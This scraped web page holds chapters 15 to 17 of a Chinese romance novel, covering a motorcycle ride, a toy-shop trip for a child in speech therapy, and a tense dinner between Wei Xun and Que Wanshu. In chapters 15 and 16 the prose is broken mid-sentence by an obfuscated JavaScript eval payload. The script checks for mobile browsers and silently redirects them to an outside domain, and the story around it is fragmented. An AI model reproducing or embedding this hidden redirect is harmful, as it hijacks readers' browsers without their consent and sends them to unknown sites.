话音刚落,卫珣迅速接话:“不行,太久了。” 阙宛舒:“………………” “你一秒钟不理我我都受不了,所以别用这种方式惩罚我。” 少年清朗的嗓音被温柔的山风吹进她耳里,阙宛舒闻言一愣,热意蓦地窜上耳根,又飞快地蔓延到双颊。 她呐呐道:“你、你在说什麽啊。” 说完,她又扭头看了他一眼,恰好对上他明亮的眼睛,视线相对的瞬间,她感觉心脏像是猛然撞了一下,迫得她立刻收回目光,直盯着前方的路面。 此时从卫珣的角度看过去,刚好能看见她半边泛着红晕的脸颊。 他唇角微扬,双手控制着车头往右侧一偏,直接连人带车拦住了她的去路。 “我错了。” 卫珣的认错态度良好,他双手合掌,低着脑袋对阙宛舒说:“对不起,一时得意忘形吓到了你,我保证待会下山绝不胡来,你让我走我就走,让我停我就停,你让我慢一点,我跑得比路边的小狗还要慢。” 听到前面那段话时,阙宛舒还能保持表情严肃,可等到听见了最后一句话,她一时没忍住笑了出来。 虽然她很快就极力压住上扬的嘴角,但这个反应已经足够卫珣顺着杆子往上爬了。 “我帮你戴头盔。”他捧着她的头盔,笑嘻嘻地盯着她垂在脸颊两侧的长发,“头发拨一下。” 面对他讨好的神情,阙宛舒感觉自己就像是骤然洩了气的皮球,一点气也生不起来了,她一边无奈地想着自己可真好哄,一边顺从地将头发别到耳后。 卫珣动作轻柔地替她戴上头盔,又仔细地扣好扣子,接着朝她伸出手,道:“上来吧,小心点。” 阙宛舒点点头,她扶着他的手、踩着脚踏登上了摩托车后座,双臂牢牢地抱住他的腰,脑袋靠在他的后肩。 卫珣这次没将身体伏低,让阙宛舒能够以一个更舒服的姿势靠着他,随后他催动油门,在午后的暖阳与微风下轻缓地上路。 那时也正当晚秋,山间的枝叶渐渐染上金黄与枫红,一路走来周旁金灿灿的一片,景色如诗如画,天气也很好,阳光明媚,山风温柔。 卫珣是个说到做到的人,让他慢一点,他还真的慢得很。 眼见路旁正在追逐的两隻小狗先后超越了他们,阙宛舒终于忍不住从他的肩后探出头来,她掀开镜片,轻声说道:“……你可以快一点点。” 全罩式头盔的隔音挺好,卫珣只依稀听见了她的声音,但没听清她说了什麽:“什麽?” 阙宛舒又加大音量:“我说你可以快一点点。” 卫珣还是没听清:“嗯?再说一次。” “我说——”阙宛舒扯开嗓门,一字一句大声说道:“你!可!以!快!一!点!” 这次卫珣终于听清了,他挑了挑眉,在听见“快”这个字时果断扭下油门,摩托车便在低沉的引擎音浪中猛地向前方窜去。 同时伴随着阙宛舒的惊呼声响彻秋日静美的山林:“卫珣——你给我慢一点啊啊啊——” 15. Chapter 15 卫珣将摩托车驶入一座室内停车场,停好车以后,见身后的人迟迟没有动静,他不由拍了拍她环在他腰间的手,道:“到了。” 阙宛舒这才从记忆中回过神来,她环顾左右,慢吞吞地从车上下来。 她抬手想解开头盔的扣子,可努力了一会却怎麽也解不开,卫珣刚把自己的头盔拿下来放在座垫上,见状缓步来到她面前,轻易地替她解开了扣子。 将头盔从阙宛舒头上拿下来时,他一眼撞入了她微红的眼睛。 她的头发被头盔压了一路,此刻略有些凌乱,细碎的刘海底下,那双形状圆润秀美的眼睛正微微发红,深褐色的瞳仁像蒙着一层水雾,里头的情绪沉甸甸的,似含着言语无法描述的婉转悲伤。 卫珣一愣,这一瞬间竟感觉心脏像被尖针狠狠地扎了下。 他呼吸微屏,想问她为什麽哭,却见阙宛舒已飞快地别开脸,往旁边走了几步,与他拉开距离。 “……” 卫珣抿起唇,大脑尚未反应过来,身体已先一步行动,他探手抓住了她的手臂,将她拉回自己面前。 “别动。”他扶住她的双臂低声说道,随后弯下身子逐一替她解开身上的护具。 阙宛舒就这么站在原地看他动作,忽然感觉眼眶又酸又涩。 她抹了抹眼睛,又揉了揉鼻子,这才抬头看着前方写着“通往商场大门”的指示牌,问道:“商场?为什麽要来这里?” 卫珣看了她一眼,见她脸上的表情已恢復如常,便也把涌到喉头的疑问咽下去。 他将脱下来的护具放回车上,双手抄兜,语气淡淡道:“买玩具。” 阙宛舒:“……?” 卫珣带着阙宛舒来到位于商场七楼的玩具店,这家店代理了许多国内外知名的玩具品牌,不仅款式充足,还有各式各样做工精美的手工玩具,因此吸引了颇多人潮。 面对阙宛舒疑惑的表情,卫珣终于解释道:“你上次说,适合卫谦的玩具要符合一定的要求,不是什麽都可以。我和我姐都不懂玩具,索性直接请教专家。” 阙宛舒一愣,所以他想请她帮的忙,就是替卫谦挑选玩具? 卫珣低头看着她,道:“帮个忙吧,阙老师。” 他说这话时语气平静,还带着一点礼貌的请求,与那天治疗课上夹枪带棒的态度全然不同。 虽然觉得他特地从云山将她带来这就是为了让她给卫谦挑玩具,未免有些大费周章,但阙宛舒还是答应了。 她点点头,抬眼看了一圈玩具店各个种类分区的指示牌,很快锁定了其中一区,道:“请跟我来。” 做为一名儿童言语治疗师,由于专业与职业需要,阙宛舒从大学起就经常和同学们一起到处逛玩具店、展场和市集,对儿童用的玩具颇为了解。 用于言语治疗和听能训练的玩具其实不必多么特殊,治疗课上使用的教具基本都是由各种玩具变换玩法而来,即便只是很普通的积木玩具,若能活用玩法,将其应用于治疗目标上,也能取得不错的成果。 对于现阶段的卫谦来说,只要能避免过多的声光效果且能发出声音,就是一件适合的玩具。 至于如何活用玩法,于一般人而言确实较为困难,因此阙宛舒在治疗课上也经常把自己的“玩具学”传授给家长,卫谦如今才上了一堂课,她还没来得及说那麽多。 此时倒是个不错的机会,于是她直接把卫珣领到展示架前,拿起几个玩具向他介绍玩法,以及如何应用于家庭互动上。 现阶段的训练目标,是培养卫谦对于声音的察知与寻找声源的反应,如木铃、木琴、铃噹、鼓、快板等都是适合的玩具,跑动时会发出声音的汽车玩具也可以,常见的环境音有声玩具或互动式绘本也不错。 也可以准备诸如套圈圈、投钱罐或海盗桶等玩具,待卫谦能听懂指令后,可以用于进行听放训练,也就是听见声音后要做出指定动作(放下物品)的训练,这也是训练对声音的察觉能力的方法之一。 阙宛舒平时不是个话多的人,但一到了熟悉的领域便不由得滔滔不绝起来,一连介绍了十几种玩具和玩法后,她才意识到自己说得有点多。 见卫珣定定地看着她,也不知道有没有吸收她方才说的庞大讯息量,她有些尴尬,便指着面前的展示架道:“总之,这一区的玩具都挺适合的,你慢慢挑,我去别处看看。” 说完,她便飞快地溜走了。 卫珣站在原地看着她仓皇的背影,想到她方才亮着眼睛说这说那的模样,忍不住扬起唇角笑了下。 他叫来店员,直接让人把阙宛舒方才提到的每一个玩具都包起来。 这家玩具店很大,卫珣在店里走了一圈都没看见阙宛舒,等到他好不容易找到她时,就见她正蹲在靠近门口的展示架前,手里拿着两个玩具反复端详,表情严肃得像是在鑑定什麽名贵的古董。 她从以前就有选择困难的毛病,过去也经常拿着两个在他看来差不多的东西问他选哪个好,而他每每回答:“选不出来就两个都要。” 如今也是,卫珣见她一副纠结又苦恼的模样,便指着她手里的玩具对跟在身旁的玩具店店长说:“她手里的也各拿一个。” 店长笑眯咪的,对这位难得的大主顾有求必应:“好的好的。” 他飞快地上前,试图接过阙宛舒手里的玩具,道:“女士,请给我吧,我替您拿新的。” 阙宛舒被陡然出现的店长吓了一跳,正有些不知所措时,恰好看见了站在不远处的卫珣。 又见店长态度殷切,她立刻明白了什麽,于是飞快地将手里的玩具放回展示架,呐呐道:“不用了,这两个我没有要买。” 店长一愣,回头看向卫珣,后者淡淡地道:“那就刚才那些吧。” “好的,我去准备一下。”店长点头应好,他看了看两人,很有眼色地先回收银台去了。 卫珣这才走到阙宛舒面前,看了眼被她放回展架示上的玩具,道:“喜欢的话我送给你,就当是感谢阙老师的帮忙。” 阙宛舒摇摇头,道:“不用了,我看看而已,这两个玩具的样式挺特别的,我只是在思考如果要应用在治疗上可以怎麽做。” “那你想到了吗?”卫珣问,见她点头,他又问:“那为什麽不买?” “……” 阙宛舒张了张嘴,一时不知道该怎麽回答。 卫珣仍旧盯着她,像是不从她嘴里得到一个合理的答案就不罢休,她只好老实地说:“因为在这里买比较贵。” 卫珣闻言一愣,没想到会得到这个答案。 面对他奇异的眼神,阙宛舒也觉得有些尴尬,在她家没破产前,她买东西向来不在意价钱,经常喜欢就买了,反正父母给她的零用钱足够支持她的一切消费。 其实她的物欲不高,但就是……偏爱一些在卫珣看来属于是“美丽废物”的东西,且只要足够喜欢,即便被卖家恶意加价也要拿下。 这样的消费观念令她偶尔被卫珣教训,说她是个人傻钱多的笨蛋。 卫珣虽然也很有钱,但消费观可比她精明多了,向来奉行着“可以买贵的,但不能买贵了”这个准则,最痛恨别人把他当肥羊宰,自然也见不得身边的人被这样对待。 这种事在阙宛舒身上发生过不只一两次,到后来卫珣都有些无奈了,总是一边出手替她教训恶质的卖家,一边恨铁不成钢地问她什麽时候能长点心,她自知理亏,只好像只鹌鹑般低着脑袋说:“下次一定。” 下次一定,下次还敢。 卫珣听出她的潜台词,一时又气又好笑,忍不住想着幸好她家家大业大,他也足够有钱,未来他再努力点,累积的财富能让她几辈子也败不完。 却未曾想,世事无常。 大厦倾倒,没有了能让她几辈子也败不完的家业后,阙宛舒的消费观终于变了。 可是卫珣难以形容自己此时的心情。 喉头阵阵发涩,他想说话,却又不知道该说些什麽。 倒是阙宛舒自己解释道:“比起在玩具店买,去二手玩具市集,能用更低的价格买到更多的玩具。” 其实她一开始买教具也来这种玩具店,但全新的玩具价格颇高,且根据个案的年龄层和训练阶段不同,需要的玩具类型也不一样,如果全都在玩具店买,实在是一笔不斐的费用。 她如今的消费能力不比从前,虽然远不到穷困潦倒的地步,但也没办法像过去那样喜欢什麽就拿下了,必须得好好打算一番。 直到大学同学带着她去了一次二手玩具市集。 只要花几百元就能在那里买到所有需要的玩具,甚至有些玩具的价格低廉得令人瞠目结舌,即便这些玩具是二手的,阙宛舒也不得不承认,这实在是太香了。 以至于后来买玩具,她总喜欢去逛二手市集或价格更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14851017|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低廉的玩具卖场。 毕竟只要能应用在治疗上就是好玩具,哪还需要在意这是全新的还是二手呢。 但卫珣显然无法理解二手玩具到底有多麽香,眼见他看着她的眼神愈来愈複杂,阙宛舒总有种被怜悯了的感觉。 她尴尬地摸了摸鼻子,道:“你去结帐吧,我在这等你。” 卫珣闻言又看了她一眼,这才转身朝收银台走去。 待他走后,阙宛舒松了口气,继续蹲下来端详展架上的玩具,这时忽然有人喊了她一声:“阙宛舒?” 阙宛舒扭头一看,发现喊她的人竟然是赵宣沂。 只见赵宣沂身穿黑色连身套装,脚踩着高跟鞋,正站在不远处看她,身后还跟着几个同样身着职业套装、且胸口处别着金色工牌的男女高管,阙宛舒这才想起这座商场好像是她家的。 赵宣沂见了她也很惊讶,她快步来到她面前,问道:“你怎麽在这?” “呃……”阙宛舒正想着该怎麽解释,赵宣沂已经眼尖地看见了站在收银台前的卫珣,顿时更惊讶了:“你和他一起来的?” 她抬头看了眼儿童玩具店的招牌,又看了看收银台上大包小包的购物袋,一时忍不住掀起头脑风暴,展开无端联想。 最后她惊愕的目光顺着阙宛舒的脸一路向下,停在她的腹部。 明白了她眼神含意的阙宛舒:“………………” 这个人在胡思乱想什麽呢!! 她瞬间涨红了脸,急急解释道:“不是你想的那样。” 赵宣沂想想也是,就算卫珣蓄谋已久也不可能这麽快,不过见阙宛舒脸红得似欲滴血,她故意逗她:“哦,我想的是哪样?” 阙宛舒的脸更红了,低声解释道:“我们是来……给卫瑾姐姐的小儿子买玩具的。” 赵宣沂挑眉,意味深长道:“某人的生日宴才过去不久,这都熟到一起给他外甥买玩具了呀。” 阙宛舒:“……因为他外甥现在是我的病人。” 赵宣沂:“唉呀,这也太巧了。” 阙宛舒:“……” 她当然不会听不出赵宣沂是故意打趣她,明明是一件理由正当且无丝毫暧昧的事,偏偏被她说得像是她在和卫珣偷情。 阙宛舒有些窘迫又觉得好笑,她忍不住笑了出来,看了眼赵宣沂身后的男女高管,问道:“你在巡视吗?” “是啊,明明是周末还得工作。”赵宣沂蹙眉,“劳动就是狗屎。” 阙宛舒:“………………” - “都送到上面的地址,谢谢。” 收银台前,卫珣结完帐,让人把今天买的玩具都送到卫家大宅,随后他回过头想找阙宛舒,却见她正笑眼弯弯的和人说话。 待看清了站在她面前的人是谁后,他微微眯起眼睛。 赵宣沂正在和阙宛舒聊天,忽然感受到一股凛然杀气,她警惕地循着来源看去,恰好对上卫珣那双阴恻恻的眼睛。 赵宣沂:“……” 又来了这傢伙。 也不晓得这人到底有什麽毛病,仇视每一个靠近阙宛舒的异性也就罢了,为什麽连和她一样的女性也看不顺眼啊。 佔有欲太强也是种病,得治。 赵宣沂忍不住在心里吐槽着,这时卫珣已飞快地来到阙宛舒身边,沉着脸对她说了句:“走了。” 说完,他转身就走,阙宛舒见状只好和赵宣沂道别,她正欲跟上卫珣,赵宣沂却突然喊住她:“宛舒,你待会还有事吗?没有的话,我请你吃饭吧。” 阙宛舒脚步一顿,有些犹豫。 卫珣确实没说待会还要做什麽,且他们今天来这的目的本就是给卫谦买玩具,买完以后……应该就没事了吧? 想到这,她正要回答,一股清淡好闻的男士香氛气息倏地自身后笼罩而来,转瞬间就将她团团包围,随后垂在腿边的左手突然被人牢牢地握住了。 阙宛舒一愣,心跳蓦然漏了一拍,她惊愕地偏过头,看见了卫珣表情阴沉紧绷的侧脸。 他牵住阙宛舒的手,以一个颇具主权宣示意味的姿态站在她身旁,眼含警告地瞪了赵宣沂一眼,也没说话,拉着阙宛舒扭头就走。 此刻阙宛舒的注意力全汇聚在被卫珣牵住的那只手上,一时也把赵宣沂忘在脑后。 赵宣沂:“……” 这令人感到熟悉的作呕欲是怎麽回事。 16. Chapter 16 阙宛舒有些吃力地跟在卫珣身后。 他长得高、腿又长,一步能抵她的两三步,还走得很快,她不得不小跑步才能跟上他的步伐。 实在跟得累了,阙宛舒便想把手掌从他的手里抽出来,孰料才刚一动,立刻被更用力地反握住。 卫珣倏地停下脚步,阙宛舒没来得及煞停,身体撞上他的手臂,为了保持平衡,她的另一手也抓住了他的前臂,看上去就像是拥住了他的手。 她错愕地抬起眼来,两人四目相对,气氛凝滞。 几秒后,阙宛舒率先移开眼,低声道:“你走太快了,我跟不上。” “……” 卫珣没有立刻回应,他视线下移,目光定在两人交握的双手上。 阙宛舒也循着他的视线看去,这才发现自己竟然也在不知不觉中回握住他的手。 他的手比她的大得多,手指修长、骨节分明,用力地将她的手掌攥紧在掌心时,手背因为发力而隐隐浮现青筋,看着颇具力量感与侵略性。 她的手则比他的肤色更白,皮肤细嫩、指头圆润,指尖透着淡淡的粉色,此时大半手掌都被他的手包裹着,她莫名有种连人带手都被他覆盖住的感觉。 一股灼烫的热意蓦地窜上耳根,烧得阙宛舒几欲失聪,她不自在地放开了抓住他前臂的手,又试图抽出被他紧握住的手掌。 这次卫珣顺从地松开了她。 被放开的同时,阙宛舒下意识后退一步,像在回避什么般与他拉开了距离。 卫珣注意到了,他看见她脸上局促不安的表情,看见她像扑腾的蝴蝶翅膀般飞快扇动的睫毛,也看见了两人脚下明明只相隔一步、却像隔着万丈鸿沟的距离。 他抿起唇,眼角细微地抽动了下。 又过了几秒,他头也不回地扭头就走,阙宛舒愣了愣,犹豫再三,还是小心翼翼地跟了上去。 察觉到身后轻缓的脚步声后,卫珣一顿,哪怕心头正怒火四起,还是下意识放慢了脚步。 两人一路无话,一前一后地来到了停车场,彼此之间的距离之远,看上去就像是两个毫不相干、只是恰好同路的陌生人。 直到发现卫珣的摩托车明明就停在前方不远处,可他却仿佛没看见似的往左边岔路拐去,且脑袋朝左右微微偏动,看上去像是在找车的模样,阙宛舒终于忍不住动作,抬手拉住了他的袖子。 ”卫珣。”她轻轻地开口,在他诧异地回头看来时,指着另一个方向道:“你的车在那里。” 卫珣:“……” 沉默几秒,他面无表情地调转方向,朝着她指的方向走去,不忘解释道:“哦,刚刚看错了。” 阙宛舒跟在他身后,看着他透出几分僵硬的背影,忍不住抿起唇悄悄地笑了下。 这么多年了,这人睁眼瞎的毛病怎么还是没治好。 两人走到摩托车旁,这次阙宛舒自己戴上了头盔、扣好扣子,尔后看向已经跨上了摩托车的卫珣,问道:“我们要去哪?” 卫珣忽然想起赵宣沂方才如同在向他挑衅般对阙宛舒说的话,不由唇角微扬,皮笑肉不笑道:“请你,吃饭。” 阙宛舒:“……” 吃饭就吃饭,他为什么要说得咬牙切齿? - 卫珣带着阙宛舒来到一家位在巷子里的餐厅。 餐厅门口仅有一块不起眼的方形招牌,上头有一个用书法字体写就的“稼”字,正是店家的名字。此刻天色已然暗下来,招牌暖黄色的光像在暗夜里亮起的一盏引路灯。 这地方位置隐密,又位在巷子深处,四周都是民宅,若没有熟客带路,根本不会发现这里有一家店。 餐厅的大门是两扇紧闭的古朴木门,如果是阙宛舒自己一个人来绝对不敢推开,但卫珣似乎经常光顾,他熟门熟路地推开木门,领着阙宛舒走进去。 进门以后,才发现大门和建筑物之间还隔着一个小庭院,两人穿过庭院,刚来到建筑物门口,立刻有人出来迎接。 “卫先生。”说话的人是个笑容满面的中年男人,他领着两人往里头走,“已经替您预留好位置,请随我来。” 餐厅内部空间不大,只有大概五、六桌,但布置得十分温馨舒适,给人一种回到家的感觉。 老板似乎是个相机迷和机车迷,店内随处可见相关的作品和收藏,阙宛舒一路好奇地张望着,直到来到位在窗边的位置。 菜单已经准备好了,一坐下,卫珣便将菜单推到她面前,道:“看看想吃什么。” 阙宛舒翻开菜单,发现这是家结合梓城菜的创意料理,她看完菜单,实在没有什么头绪,于是又把它推回卫珣面前,道:“你点吧,我都可以。” “都可以?”卫珣意味深长地问了句,见阙宛舒点点头,他轻呵一声,低头看起菜单。 方才领着他俩进来的中年男人就是餐厅老板,他已经掏出纸笔,等着卫珣点餐。 几秒后,卫珣终于决定好,开口点了五、六道菜,都是店里的招牌和他常点的几样,老板一一写下来,正要问他需不需要甜品,便听卫珣说:“菜里姜葱香菜都不要,洋葱要熟的不要生的,切成碎不要切成丝,黄瓜要去皮,醋少一点,不要辣,蒜头别加太多,这道菜的猪里肌换成松阪,烤牛肉别太生,不加罗勒叶,炖汤不要加胡椒芹菜木耳,不要红萝卜,土豆切小块点,那道菜去掉豆子。” 话到这里一顿,补充道:“再要一个热红酒提拉米苏,不要加肉桂粉。” 老板:“……” 阙宛舒:“……” 老板艰难地将他的种种要求记下,阙宛舒则目瞪口呆,心说多年未见,这人怎么在饮食上竟变得如此挑剔难搞,她记得他以前明明是个从小就不挑食的好孩子。 ——不对。 挑食的人,好像是她。 阙宛舒这才觉得那些要求有些耳熟,似乎是她从前的饮食习惯,她以前……确实被养得有些挑剔,不只挑食,对于食物的各种做法和口味也挑剔得,为了满足她的口味,她的父母甚至曾在一个月内就换了七个厨师。 但是现在不一样了。 家庭变故不只改变了她的人生和金钱观,也改变了其他许多的事情。 于是她抬起头,对着正满头大汗地记着要求的老板说:“等等,只除了不要太辣,牛肉别太生,其他的都照您原来的做法就行。” 顿了下,她补充道:“还有不要香菜。” 这些要求比卫珣方才说的简略多了,老板一愣,问道:“那提拉米苏上的肉桂粉?” 阙宛舒笑了笑:“可以的。” “……好的。”老板看了卫珣一眼,就见他正眉头紧蹙,表情凝重又惊疑不定地盯着阙宛舒,仿佛过往的认知被颠覆了似的。 老板小心翼翼地询问:“卫先生,那就照这位女士的要求来吗?” 卫珣这才回神,应了一声:“嗯。” 老板点头应好,他将菜单收走,又给俩人送上一壶热茶,这便往厨房去了。 此时店内每一桌都坐了人,有男有女,有老有少,他们大多笑着边谈话边吃饭,只有阙宛舒和卫珣彼此相顾无言,即便店里播放的舒缓音乐流淌在两人之间,气氛也依然尴尬。 卫珣抱着双臂坐在椅子上,抬起眼,映入眼帘的又是阙宛舒脸上局促的表情。 他心下轻哂,只觉得心头有股混合著怒意与嘲讽的情绪再度涌上来。 瞧瞧,她面对其他人时笑得像朵花似的,在他面前却总是这副小心翼翼又惶恐不安的模样,卫珣敢肯定,如果赵宣沂邀她一起吃饭时他让她自己决定,她肯定会头也不回地跟着赵宣沂走。 怎么,就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14864975|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不想和他待在一起?他就让她那么不自在,不自在到像是如果有机会,便恨不能立即从他眼前溜走? 卫珣没有将心里的质问说出口,但如果他开口了,阙宛舒会让他先去照照镜子,看看自己现在是个什么模样。 他本就是个气场强大的人,此刻又像是正在审问犯人般抱着双臂、眼神犀利又冷漠地盯着她,仿佛她是个罪孽深重的恶徒,任谁被他用这副表情看着,都很难不感到压力巨大吧? 更不用说阙宛舒是个对他人的情绪变化非常敏感的人,从前的她总认为自己十分了解卫珣,他只需要一个眼神,她就能猜到他在想些什么,可也许是因为他们实在分开太久,如今的她竟什么也看不懂了。 她只知道他似乎在生气,却不晓得他为什么生气,这让她愈发不安起来,想活络下气氛,便主动拿起茶壶。 正想问他要不要喝茶,忽然听见他开口问道:“你什么时候开始喜欢肉桂了?” 阙宛舒一愣,对上他带着探究的执着眼神。 不只是阙宛舒有那样的想法,卫珣也是,他自以为很了解她,却没想到如今的她已然和过往有了太多的不同,他曾经的认知竟发生了天翻地覆的改变。 其实这是一件很合理的事,毕竟八年的时间,确实是太长了。 卫珣清楚地明白一个人不可能从始至终全无改变,可是这种超出掌控太多的感觉还是令他感到些许不安,迫切地想要掌握现有的她。 “也不是喜欢。”阙宛舒说,她抿了抿唇,道:“就是勉强可以接受。” 什么叫勉强可以接受?卫珣的世界里可不存在这种含糊不清的回答,他蹙起眉:“不喜欢就是不喜欢,为什么要勉强自己接受?” 阙宛舒噎了下,呐呐道:“因为还不到讨厌的地步,而且,如果我的要求太多,可能会造成别人的麻烦。” 她过去能在饮食上过分挑剔,是因为家里的厨师是父母花重金聘请的,满足她的口味和要求是厨师的工作之一。 在外头吃饭时能提出各种细琐的要求,也是因为她常去的餐厅收费不斐,且有很大一部分采用会员制,顾客至上是他们服务准则,满足顾客的口味更是基本中的基本。 钱并不是万能的,但有时钱到位了才能有足够的底气。 如果去一家收费普通的小餐馆,一开口就是一连串挑剔的要求,甚至连餐点的做法都让店家得按照自己的要求来,那不是找碴吗? 阙宛舒不想成为他人眼中“麻烦的客人”。 既然如此,那就只能改变自己的口味,因为人是可以学着去适应环境的生物,底线这种东西,也是可以随着条件不同一退再退的。 “……” 听完她说的话,卫珣沉默。 又来了,又是这种不知道该怎么去形容的心情。 心脏闷得像是被人用力地捶了一拳,迫得呼吸也暂停了一瞬,卫珣知道她为什么会这么想,也知道她之所以这么想的原因,正是因为知道,所以更觉心闷。 他定定地看着她,这一刻,脑子里竟忽然闪过一串接一串的数字,如同在拨放财务报表般,在短短几秒内便将他名下的财产细数完毕。 卫珣不知道自己为什么要想这些,他只是忽然有种念头,他在想,有什么方法可以让她变回以前的模样? 钱够多就可以吗?那他有的是。 挑剔就挑剔,麻烦就麻烦,那些都不是问题。 也不该成为她的问题。 于是他抬起手,将老板喊来,“我要再点一份热红酒提拉米苏。” 他视线一转,一边恶狠狠地盯着阙宛舒,一边咬牙切齿地说:“不准加肉桂粉。“ 老板:“……好的。” 阙宛舒:“……” 所以,现在连可以接受肉桂粉都是一种罪了吗? 17. Chapter 17 菜很快就上齐了。 两人还是没怎么说话,各自吃着饭,不过幸好有“食不言寝不语”做为理由,因此气氛没有方才那么尴尬。 桌上有一道菜是白灼大虾,颜色鲜亮的虾子被排成一圈放在漂亮的盘子里,中间的蘸料叠里不是常见的蒜蓉酱油,而是老板特调的沙拉酱,里头加了切碎的苹果丁。 阙宛舒记得卫珣喜欢吃虾,可这道白灼虾已经端上来十分钟了,他却一个筷子也没动,她不由悄悄打量了他几眼。 卫珣注意到她的目光,他不冷不热地睨了她一眼,轻嗤一声:“自己剥,别指望我帮你。” 阙宛舒:“……” 她才不是这个意思。 桌上放了盘热毛巾和供顾客放置虾壳的空盘,阙宛舒取来毛巾擦了擦手,又把空盘子拿到面前,这才夹起一只虾子,慢吞吞地剥了起来。 她显然不擅长剥虾,不仅动作又慢又生疏,剥到后来还不慎被扎到了手。 阙宛舒嗷了一声,蹙起眉查看被扎到的手指,这时一双筷子突然从对面伸过来,夹走了她手里的虾子。 卫珣将虾子放到空盘上,只凭筷子就迅速又完美地去了虾壳。 随后他把虾子夹回她的碗里,面无表情道:“剥虾都不会,你这几年岂不是连虾子都吃不了?毕竟可不是每家餐厅都会替顾客剥好虾子。” 说话间,他又夹起一只虾子,一样快速又轻巧地去了壳,放进她碗里。 他的动作很优雅,不过嘴里说出来的话却不是那么动听:“还是说,你是故意装出一副笨拙的模样,想使唤我给你剥虾子?” 阙宛舒:“……” 这家伙有被害妄想症吗?谁使唤他了,不是他自己把她剥到一半的虾子抢走的吗! 她对此十分无语,又被他阴阳怪气的言论惹得有些恼,不由边戳着碗里的虾子边闷声说道:“谁说我吃不了虾,我不会剥,有的是帮我剥的人。” 此话一出,气氛一瞬间变得很是古怪。 “是谁?” 卫珣的声音轻飘飘地响起,语气十分平静,语调也没有什么起伏,可阙宛舒却莫名感觉到有股湿冷黏稠的寒意自尾椎窜上来,令她忍不住打了个寒颤。 她背脊一僵,愣愣地抬起眼,撞入卫珣那双幽冷的眼睛里。 他正一眨也不眨地看着她,手上仍旧动作着,给虾子去头、去壳,又将光溜溜的虾子放进手边的空碗,很快就累积了小半碗。 与此同时,他一字一句道:“帮你剥虾的人……们。” 又一只剥好的虾子被他放入碗里,阙宛舒看着碗中堆叠而起的虾子,有种那些是他指的“人们”的尸体的错觉。 她心里一悚,结结巴巴地说:“我……我大学室友。” 卫珣眯起眼:“室友?男的女的?” 阙宛舒:“女的。” 都说是大学室友了……难道她还能跟男的住在一起吗? 她大学时住的是四人寝,其中有个室友堪称是大家的好妈妈,那位室友和她的关系也很好,大学时期总像是在照顾家养小猫咪般关照她。 阙宛舒不擅长剥虾,恰好室友有着一手剥虾神技,每回出去吃饭,她总是一手包办了大家的虾。 至于在宜安时,她有妈妈、小阿姨、表弟,还有邻居家的阿姨和弟弟妹妹,仔细想来,这些年她还真的没怎么剥过虾,都是别人替她剥的。 于是她补充道:“还有我妈妈、阿姨和表弟等等。” 等等?也就是说还不只这些人? 卫珣:“………………” 他没想到就连在“帮阙宛舒剥虾”这件事情上,自己都得排在后头。 沉默三秒,卫珣唇角一扯,冷嘲热讽道:“呵,那还真是多。” 阙宛舒:“……” - 吃完饭,两人一同走出餐厅。 阙宛舒查了这家餐厅的地址,发现这里离她住的地方只有几个地铁站的距离,且地铁站就在附近,步行大约十分钟就能到。 她本想自己搭地铁回家,孰料却被卫珣一口回绝:“不行,我家的家规是不能让女孩子自己一个人回家。” 阙宛舒:“……” 阙宛舒:“你家什么时候有这种家规了?” “我说有就有。”卫珣一本正经道,见阙宛舒嘴角微抽,似乎想追问什么,他斜睨着她,一句话就将她正欲出口的话语给堵回去:“你是卫家人还是我是卫家人?” 阙宛舒:“……” 行吧,你是,你行。 她妥协了,乖乖地戴上头盔坐上机车,待她坐好了,卫珣才偏头问她:“你住在哪?” “崇德路,绿意小区。”阙宛舒打开导航,给他指了个方向:“往那边走。” 餐厅距离她住的小区大概十五分钟的车程,到了小区门口,卫珣将车停在路边,阙宛舒扶着他的肩膀小心翼翼地下车。 “谢谢你送我回来。”她将头盔解下来还给他,正想和他道别,却见他正抬头环顾小区环境,眼神里聚满审视。 绿意小区显然已经有些年份了,灰色的建筑物墙体带着被风吹雨淋过的岁月痕迹,大门口和门卫室的设计很简朴,绿化做得也非常普通,毫无可取之处。 就卫珣看来,他名下随便一间公寓都比这里好千百倍。 阙宛舒不知道他内心所想,不过从他嫌弃的眼神也能看出一二,她倒是不觉得有什么,毕竟这人从小含着金汤匙出生,长到27岁从未受过金钱的苦,看不上这里很正常。 她拉了拉包包的肩带,道:“那我进──” “这里安全吗?”卫珣突然开口打断了她,他看着不远处正亮着灯的门卫室,问阙宛舒:“门卫认得你吗?也认得其他住户?” 阙宛舒愣了一下,点点头:“认得的。” 其实这个小区的门卫之一就是她的房东,他是教师退休,在绿意小区有几套房子,其中一套留给自己和妻子住,其余的租给他人,因为退休生活太无聊,索性兼职做小区门卫。 其他几个门卫也挺好,会和每一个进出的住户打招呼,对于来访的陌生人也很谨慎,不会随意放人进小区。 卫珣又问:“你住的那一层楼有几户?邻居是做什么的?有没有什么奇怪的人?” 阙宛舒答:“一层五户,几乎都是上班族,女性居多。” 她住的那栋是小户型公寓,基本上都是单人住户,不过她的性子比较社恐,因此和邻居也没什么交集,顶多偶尔下楼倒垃圾时会帮彼此开电梯门。 原以为他只是好奇她的生活,没想到卫珣听完又一连问了几个问题,阙宛舒一一答了,答到后来她突然觉得自己像是个外出打拼的游子,而他是到这座城市来看看自家孩子过得好不好的家长。 